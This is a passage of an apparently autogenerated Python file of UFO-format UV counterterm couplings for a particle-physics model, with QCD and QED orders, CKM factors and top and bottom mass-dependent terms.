order = {'QCD':3})
UVGC_209_24 = Coupling(name = 'UVGC_209_24',
value = {-1:'(-19*complex(0,1)*G**3)/(128.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_209_25 = Coupling(name = 'UVGC_209_25',
value = {-1:'-(complex(0,1)*G**3)/(128.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_209_26 = Coupling(name = 'UVGC_209_26',
value = {-1:'( 0 if MT else (complex(0,1)*G**3)/(48.*cmath.pi**2) )'},
order = {'QCD':3})
UVGC_209_27 = Coupling(name = 'UVGC_209_27',
value = {-1:'(complex(0,1)*G**3)/(12.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_225_28 = Coupling(name = 'UVGC_225_28',
value = {-1:'(CKM2x1*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_225_29 = Coupling(name = 'UVGC_225_29',
value = {-1:'-(CKM2x1*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_226_30 = Coupling(name = 'UVGC_226_30',
value = {-1:'(ee*complex(0,1)*G**2*complexconjugate(CKM2x1))/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_226_31 = Coupling(name = 'UVGC_226_31',
value = {-1:'-(ee*complex(0,1)*G**2*complexconjugate(CKM2x1))/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_227_32 = Coupling(name = 'UVGC_227_32',
value = {-1:'(CKM2x2*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_227_33 = Coupling(name = 'UVGC_227_33',
value = {-1:'-(CKM2x2*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_228_34 = Coupling(name = 'UVGC_228_34',
value = {-1:'(ee*complex(0,1)*G**2*complexconjugate(CKM2x2))/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_228_35 = Coupling(name = 'UVGC_228_35',
value = {-1:'-(ee*complex(0,1)*G**2*complexconjugate(CKM2x2))/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_229_36 = Coupling(name = 'UVGC_229_36',
value = {-1:'(CKM1x1*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_229_37 = Coupling(name = 'UVGC_229_37',
value = {-1:'-(CKM1x1*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_230_38 = Coupling(name = 'UVGC_230_38',
value = {-1:'(ee*complex(0,1)*G**2*complexconjugate(CKM1x1))/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_230_39 = Coupling(name = 'UVGC_230_39',
value = {-1:'-(ee*complex(0,1)*G**2*complexconjugate(CKM1x1))/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_231_40 = Coupling(name = 'UVGC_231_40',
value = {-1:'(CKM1x2*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_231_41 = Coupling(name = 'UVGC_231_41',
value = {-1:'-(CKM1x2*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_232_42 = Coupling(name = 'UVGC_232_42',
value = {-1:'(ee*complex(0,1)*G**2*complexconjugate(CKM1x2))/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_232_43 = Coupling(name = 'UVGC_232_43',
value = {-1:'-(ee*complex(0,1)*G**2*complexconjugate(CKM1x2))/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_233_44 = Coupling(name = 'UVGC_233_44',
value = {-1:'( (complex(0,1)*G**2)/(6.*cmath.pi**2) if MB else -(complex(0,1)*G**2)/(12.*cmath.pi**2) ) + (complex(0,1)*G**2)/(12.*cmath.pi**2)',0:'( (5*complex(0,1)*G**2)/(12.*cmath.pi**2) - (complex(0,1)*G**2*reglog(MB/MU_R))/(2.*cmath.pi**2) if MB else (complex(0,1)*G**2)/(12.*cmath.pi**2) ) - (complex(0,1)*G**2)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_234_45 = Coupling(name = 'UVGC_234_45',
value = {-1:'( (ee*complex(0,1)*G**2)/(18.*cmath.pi**2) if MB else -(ee*complex(0,1)*G**2)/(36.*cmath.pi**2) )',0:'( (5*ee*complex(0,1)*G**2)/(36.*cmath.pi**2) - (ee*complex(0,1)*G**2*reglog(MB/MU_R))/(6.*cmath.pi**2) if MB else (ee*complex(0,1)*G**2)/(36.*cmath.pi**2) ) - (ee*complex(0,1)*G**2)/(36.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_235_46 = Coupling(name = 'UVGC_235_46',
value = {-1:'( -(complex(0,1)*G**3)/(6.*cmath.pi**2) if MB else (complex(0,1)*G**3)/(12.*cmath.pi**2) )',0:'( (-5*complex(0,1)*G**3)/(12.*cmath.pi**2) + (complex(0,1)*G**3*reglog(MB/MU_R))/(2.*cmath.pi**2) if MB else -(complex(0,1)*G**3)/(12.*cmath.pi**2) ) + (complex(0,1)*G**3)/(12.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_236_47 = Coupling(name = 'UVGC_236_47',
value = {-1:'( (complex(0,1)*G**2*MB)/(6.*cmath.pi**2) if MB else -(complex(0,1)*G**2*MB)/(12.*cmath.pi**2) ) + (complex(0,1)*G**2*MB)/(3.*cmath.pi**2)',0:'( (3*complex(0,1)*G**2*MB)/(4.*cmath.pi**2) - (complex(0,1)*G**2*MB*reglog(MB/MU_R))/cmath.pi**2 if MB else (complex(0,1)*G**2*MB)/(12.*cmath.pi**2) ) - (complex(0,1)*G**2*MB)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_237_48 = Coupling(name = 'UVGC_237_48',
value = {-1:'( (cw*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2) if MB else -(cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) ) + (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2)',0:'( (5*cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (5*ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) - (cw*ee*complex(0,1)*G**2*reglog(MB/MU_R))/(4.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw*reglog(MB/MU_R))/(12.*cw*cmath.pi**2) if MB else (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) ) - (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_238_49 = Coupling(name = 'UVGC_238_49',
value = {-1:'( -(ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2) if MB else (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2) ) - (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2)',0:'( (-5*ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2) + (ee*complex(0,1)*G**2*sw*reglog(MB/MU_R))/(6.*cw*cmath.pi**2) if MB else -(ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2) ) + (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_239_50 = Coupling(name = 'UVGC_239_50',
value = {-1:'( -(G**2*yb)/(6.*cmath.pi**2*cmath.sqrt(2)) if MB else (G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) ) - (G**2*yb)/(3.*cmath.pi**2*cmath.sqrt(2))',0:'( (-3*G**2*yb)/(4.*cmath.pi**2*cmath.sqrt(2)) + (G**2*yb*reglog(MB/MU_R))/(cmath.pi**2*cmath.sqrt(2)) if MB else -(G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) ) + (G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_240_51 = Coupling(name = 'UVGC_240_51',
value = {-1:'( (G**2*sb*yb)/(6.*cb*cmath.pi**2*cmath.sqrt(2)) if MB else -(G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) ) + (G**2*sb*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2))',0:'( (3*G**2*sb*yb)/(4.*cb*cmath.pi**2*cmath.sqrt(2)) - (G**2*sb*yb*reglog(MB/MU_R))/(cb*cmath.pi**2*cmath.sqrt(2)) if MB else (G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) ) - (G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_241_52 = Coupling(name = 'UVGC_241_52',
value = {-1:'( -(cba*complex(0,1)*G**2*sb*yb)/(6.*cb*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yb)/(6.*cmath.pi**2*cmath.sqrt(2)) if MB else (cba*complex(0,1)*G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) ) - (cba*complex(0,1)*G**2*sb*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yb)/(3.*cmath.pi**2*cmath.sqrt(2))',0:'( (-3*cba*complex(0,1)*G**2*sb*yb)/(4.*cb*cmath.pi**2*cmath.sqrt(2)) + (3*complex(0,1)*G**2*sba*yb)/(4.*cmath.pi**2*cmath.sqrt(2)) + (cba*complex(0,1)*G**2*sb*yb*reglog(MB/MU_R))/(cb*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yb*reglog(MB/MU_R))/(cmath.pi**2*cmath.sqrt(2)) if MB else -(cba*complex(0,1)*G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sba*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) ) + (cba*complex(0,1)*G**2*sb*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sba*yb)/(12.*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_242_53 = Coupling(name = 'UVGC_242_53',
value = {-1:'( (cba*complex(0,1)*G**2*yb)/(6.*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sb*sba*yb)/(6.*cb*cmath.pi**2*cmath.sqrt(2)) if MB else -(cba*complex(0,1)*G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sb*sba*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) ) + (cba*complex(0,1)*G**2*yb)/(3.*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sb*sba*yb)/(3.*cb*cmath.pi**2*cmath.sqrt(2))',0:'( (3*cba*complex(0,1)*G**2*yb)/(4.*cmath.pi**2*cmath.sqrt(2)) + (3*complex(0,1)*G**2*sb*sba*yb)/(4.*cb*cmath.pi**2*cmath.sqrt(2)) - (cba*complex(0,1)*G**2*yb*reglog(MB/MU_R))/(cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sb*sba*yb*reglog(MB/MU_R))/(cb*cmath.pi**2*cmath.sqrt(2)) if MB else (cba*complex(0,1)*G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) + (complex(0,1)*G**2*sb*sba*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2)) ) - (cba*complex(0,1)*G**2*yb)/(12.*cmath.pi**2*cmath.sqrt(2)) - (complex(0,1)*G**2*sb*sba*yb)/(12.*cb*cmath.pi**2*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_243_54 = Coupling(name = 'UVGC_243_54',
value = {-1:'( 0 if MB else -(complex(0,1)*G**2)/(24.*cmath.pi**2) ) + (complex(0,1)*G**2)/(24.*cmath.pi**2)',0:'( -(complex(0,1)*G**2*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':2})
UVGC_243_55 = Coupling(name = 'UVGC_243_55',
value = {-1:'( 0 if MT else -(complex(0,1)*G**2)/(24.*cmath.pi**2) ) + (complex(0,1)*G**2)/(24.*cmath.pi**2)',0:'( -(complex(0,1)*G**2*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':2})
UVGC_244_56 = Coupling(name = 'UVGC_244_56',
value = {-1:'( 0 if MB else (complex(0,1)*G**2)/(24.*cmath.pi**2) ) - (complex(0,1)*G**2)/(24.*cmath.pi**2)',0:'( (complex(0,1)*G**2*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':2})
UVGC_244_57 = Coupling(name = 'UVGC_244_57',
value = {-1:'(3*complex(0,1)*G**2)/(64.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_244_58 = Coupling(name = 'UVGC_244_58',
value = {-1:'(-3*complex(0,1)*G**2)/(64.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_244_59 = Coupling(name = 'UVGC_244_59',
value = {-1:'( 0 if MT else (complex(0,1)*G**2)/(24.*cmath.pi**2) ) - (complex(0,1)*G**2)/(24.*cmath.pi**2)',0:'( (complex(0,1)*G**2*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':2})
UVGC_245_60 = Coupling(name = 'UVGC_245_60',
value = {-1:'( 0 if MB else -G**3/(16.*cmath.pi**2) ) + G**3/(24.*cmath.pi**2)',0:'( -(G**3*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':3})
UVGC_245_61 = Coupling(name = 'UVGC_245_61',
value = {-1:'-G**3/(48.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_245_62 = Coupling(name = 'UVGC_245_62',
value = {-1:'( 0 if MT else -G**3/(16.*cmath.pi**2) ) + G**3/(24.*cmath.pi**2)',0:'( -(G**3*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':3})
UVGC_246_63 = Coupling(name = 'UVGC_246_63',
value = {-1:'( 0 if MB else -(complex(0,1)*G**4)/(12.*cmath.pi**2) ) + (complex(0,1)*G**4)/(12.*cmath.pi**2)',0:'( -(complex(0,1)*G**4*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':4})
UVGC_246_64 = Coupling(name = 'UVGC_246_64',
value = {-1:'(147*complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_246_65 = Coupling(name = 'UVGC_246_65',
value = {-1:'(3*complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_246_66 = Coupling(name = 'UVGC_246_66',
value = {-1:'( 0 if MT else -(complex(0,1)*G**4)/(12.*cmath.pi**2) ) + (complex(0,1)*G**4)/(12.*cmath.pi**2)',0:'( -(complex(0,1)*G**4*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':4})
UVGC_247_67 = Coupling(name = 'UVGC_247_67',
value = {-1:'(147*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_247_68 = Coupling(name = 'UVGC_247_68',
value = {-1:'(21*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_248_69 = Coupling(name = 'UVGC_248_69',
value = {-1:'( 0 if MB else -(complex(0,1)*G**4)/(12.*cmath.pi**2) )',0:'( -(complex(0,1)*G**4*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':4})
UVGC_248_70 = Coupling(name = 'UVGC_248_70',
value = {-1:'-(complex(0,1)*G**4)/(12.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_248_71 = Coupling(name = 'UVGC_248_71',
value = {-1:'(523*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_248_72 = Coupling(name = 'UVGC_248_72',
value = {-1:'(13*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_248_73 = Coupling(name = 'UVGC_248_73',
value = {-1:'( 0 if MT else -(complex(0,1)*G**4)/(12.*cmath.pi**2) )',0:'( -(complex(0,1)*G**4*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':4})
UVGC_249_74 = Coupling(name = 'UVGC_249_74',
value = {-1:'( 0 if MB else (complex(0,1)*G**4)/(12.*cmath.pi**2) ) - (complex(0,1)*G**4)/(24.*cmath.pi**2)',0:'( (complex(0,1)*G**4*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':4})
UVGC_249_75 = Coupling(name = 'UVGC_249_75',
value = {-1:'(complex(0,1)*G**4)/(24.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_249_76 = Coupling(name = 'UVGC_249_76',
value = {-1:'(-341*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_249_77 = Coupling(name = 'UVGC_249_77',
value = {-1:'(-11*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_249_78 = Coupling(name = 'UVGC_249_78',
value = {-1:'( 0 if MT else (complex(0,1)*G**4)/(12.*cmath.pi**2) ) - (complex(0,1)*G**4)/(24.*cmath.pi**2)',0:'( (complex(0,1)*G**4*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':4})
UVGC_250_79 = Coupling(name = 'UVGC_250_79',
value = {-1:'(-83*complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_250_80 = Coupling(name = 'UVGC_250_80',
value = {-1:'(-5*complex(0,1)*G**4)/(128.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_251_81 = Coupling(name = 'UVGC_251_81',
value = {-1:'( 0 if MB else (complex(0,1)*G**4)/(12.*cmath.pi**2) )',0:'( (complex(0,1)*G**4*reglog(MB/MU_R))/(12.*cmath.pi**2) if MB else 0 )'},
order = {'QCD':4})
UVGC_251_82 = Coupling(name = 'UVGC_251_82',
value = {-1:'(complex(0,1)*G**4)/(12.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_251_83 = Coupling(name = 'UVGC_251_83',
value = {-1:'(-85*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_251_84 = Coupling(name = 'UVGC_251_84',
value = {-1:'(-19*complex(0,1)*G**4)/(512.*cmath.pi**2)'},
order = {'QCD':4})
UVGC_251_85 = Coupling(name = 'UVGC_251_85',
value = {-1:'( 0 if MT else (complex(0,1)*G**4)/(12.*cmath.pi**2) )',0:'( (complex(0,1)*G**4*reglog(MT/MU_R))/(12.*cmath.pi**2) if MT else 0 )'},
order = {'QCD':4})
UVGC_252_86 = Coupling(name = 'UVGC_252_86',
value = {-1:'( (complex(0,1)*G**2)/(6.*cmath.pi**2) if MT else -(complex(0,1)*G**2)/(12.*cmath.pi**2) ) + (complex(0,1)*G**2)/(12.*cmath.pi**2)',0:'( (5*complex(0,1)*G**2)/(12.*cmath.pi**2) - (complex(0,1)*G**2*reglog(MT/MU_R))/(2.*cmath.pi**2) if MT else (complex(0,1)*G**2)/(12.*cmath.pi**2) ) - (complex(0,1)*G**2)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_253_87 = Coupling(name = 'UVGC_253_87',
value = {-1:'( -(ee*complex(0,1)*G**2)/(9.*cmath.pi**2) if MT else (ee*complex(0,1)*G**2)/(18.*cmath.pi**2) )',0:'( (-5*ee*complex(0,1)*G**2)/(18.*cmath.pi**2) + (ee*complex(0,1)*G**2*reglog(MT/MU_R))/(3.*cmath.pi**2) if MT else -(ee*complex(0,1)*G**2)/(18.*cmath.pi**2) ) + (ee*complex(0,1)*G**2)/(18.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_254_88 = Coupling(name = 'UVGC_254_88',
value = {-1:'( -(complex(0,1)*G**3)/(6.*cmath.pi**2) if MT else (complex(0,1)*G**3)/(12.*cmath.pi**2) )',0:'( (-5*complex(0,1)*G**3)/(12.*cmath.pi**2) + (complex(0,1)*G**3*reglog(MT/MU_R))/(2.*cmath.pi**2) if MT else -(complex(0,1)*G**3)/(12.*cmath.pi**2) ) + (complex(0,1)*G**3)/(12.*cmath.pi**2)'},
order = {'QCD':3})
UVGC_255_89 = Coupling(name = 'UVGC_255_89',
value = {-1:'( (complex(0,1)*G**2*MT)/(6.*cmath.pi**2) if MT else -(complex(0,1)*G**2*MT)/(12.*cmath.pi**2) ) + (complex(0,1)*G**2*MT)/(3.*cmath.pi**2)',0:'( (3*complex(0,1)*G**2*MT)/(4.*cmath.pi**2) - (complex(0,1)*G**2*MT*reglog(MT/MU_R))/cmath.pi**2 if MT else (complex(0,1)*G**2*MT)/(12.*cmath.pi**2) ) - (complex(0,1)*G**2*MT)/(12.*cmath.pi**2)'},
order = {'QCD':2})
UVGC_256_90 = Coupling(name = 'UVGC_256_90',
value = {-1:'( -(ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2)) if MB else (ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) )',0:'( (-5*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) + (ee*complex(0,1)*G**2*reglog(MB/MU_R))/(4.*cmath.pi**2*sw*cmath.sqrt(2)) if MB else -(ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) ) + (ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_256_91 = Coupling(name = 'UVGC_256_91',
value = {-1:'( -(ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2)) if MT else (ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) )',0:'( (-5*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) + (ee*complex(0,1)*G**2*reglog(MT/MU_R))/(4.*cmath.pi**2*sw*cmath.sqrt(2)) if MT else -(ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2)) ) + (ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_256_92 = Coupling(name = 'UVGC_256_92',
value = {-1:'-(ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw*cmath.sqrt(2))'},
order = {'QCD':2,'QED':1})
UVGC_257_93 = Coupling(name = 'UVGC_257_93',
value = {-1:'( -(cw*ee*complex(0,1)*G**2)/(12.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(36.*cw*cmath.pi**2) if MT else (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) ) - (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2)',0:'( (-5*cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (5*ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) + (cw*ee*complex(0,1)*G**2*reglog(MT/MU_R))/(4.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw*reglog(MT/MU_R))/(12.*cw*cmath.pi**2) if MT else -(cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) + (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2) ) + (cw*ee*complex(0,1)*G**2)/(24.*cmath.pi**2*sw) - (ee*complex(0,1)*G**2*sw)/(72.*cw*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_258_94 = Coupling(name = 'UVGC_258_94',
value = {-1:'( (ee*complex(0,1)*G**2*sw)/(9.*cw*cmath.pi**2) if MT else -(ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2) ) + (ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2)',0:'( (5*ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2) - (ee*complex(0,1)*G**2*sw*reglog(MT/MU_R))/(3.*cw*cmath.pi**2) if MT else (ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2) ) - (ee*complex(0,1)*G**2*sw)/(18.*cw*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_259_95 = Coupling(name = 'UVGC_259_95',
value = {-1:'( (complex(0,1)*G**2*yb)/(12.*cmath.pi**2) if MB else -(complex(0,1)*G**2*yb)/(24.*cmath.pi**2) )',0:'( (13*complex(0,1)*G**2*yb)/(24.*cmath.pi**2) - (3*complex(0,1)*G**2*yb*reglog(MB/MU_R))/(4.*cmath.pi**2) if MB else (complex(0,1)*G**2*yb)/(24.*cmath.pi**2) ) - (complex(0,1)*G**2*yb)/(24.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_259_96 = Coupling(name = 'UVGC_259_96',
value = {-1:'( (complex(0,1)*G**2*yb)/(12.*cmath.pi**2) if MT else -(complex(0,1)*G**2*yb)/(24.*cmath.pi**2) )',0:'( (5*complex(0,1)*G**2*yb)/(24.*cmath.pi**2) - (complex(0,1)*G**2*yb*reglog(MT/MU_R))/(4.*cmath.pi**2) if MT else (complex(0,1)*G**2*yb)/(24.*cmath.pi**2) ) - (complex(0,1)*G**2*yb)/(24.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_259_97 = Coupling(name = 'UVGC_259_97',
value = {-1:'(complex(0,1)*G**2*yb)/(3.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_260_98 = Coupling(name = 'UVGC_260_98',
value = {-1:'( -(complex(0,1)*G**2*sb*yb)/(12.*cb*cmath.pi**2) if MB else (complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) )',0:'( (-13*complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) + (3*complex(0,1)*G**2*sb*yb*reglog(MB/MU_R))/(4.*cb*cmath.pi**2) if MB else -(complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) ) + (complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_260_99 = Coupling(name = 'UVGC_260_99',
value = {-1:'( -(complex(0,1)*G**2*sb*yb)/(12.*cb*cmath.pi**2) if MT else (complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) )',0:'( (-5*complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) + (complex(0,1)*G**2*sb*yb*reglog(MT/MU_R))/(4.*cb*cmath.pi**2) if MT else -(complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2) ) + (complex(0,1)*G**2*sb*yb)/(24.*cb*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_260_100 = Coupling(name = 'UVGC_260_100',
value = {-1:'-(complex(0,1)*G**2*sb*yb)/(3.*cb*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_261_101 = Coupling(name = 'UVGC_261_101',
value = {-1:'( -(complex(0,1)*G**2*yt)/(12.*cmath.pi**2) if MB else (complex(0,1)*G**2*yt)/(24.*cmath.pi**2) )',0:'( (-5*complex(0,1)*G**2*yt)/(24.*cmath.pi**2) + (complex(0,1)*G**2*yt*reglog(MB/MU_R))/(4.*cmath.pi**2) if MB else -(complex(0,1)*G**2*yt)/(24.*cmath.pi**2) ) + (complex(0,1)*G**2*yt)/(24.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_261_102 = Coupling(name = 'UVGC_261_102',
value = {-1:'( -(complex(0,1)*G**2*yt)/(12.*cmath.pi**2) if MT else (complex(0,1)*G**2*yt)/(24.*cmath.pi**2) )',0:'( (-13*complex(0,1)*G**2*yt)/(24.*cmath.pi**2) + (3*complex(0,1)*G**2*yt*reglog(MT/MU_R))/(4.*cmath.pi**2) if MT else -(complex(0,1)*G**2*yt)/(24.*cmath.pi**2) ) + (complex(0,1)*G**2*yt)/(24.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_261_103 = Coupling(name = 'UVGC_261_103',
value = {-1:'-(complex(0,1)*G**2*yt)/(3.*cmath.pi**2)'},
order = {'QCD':2,'QED':1})
UVGC_262_104 = Coupling(name = 'UVGC_262_104',
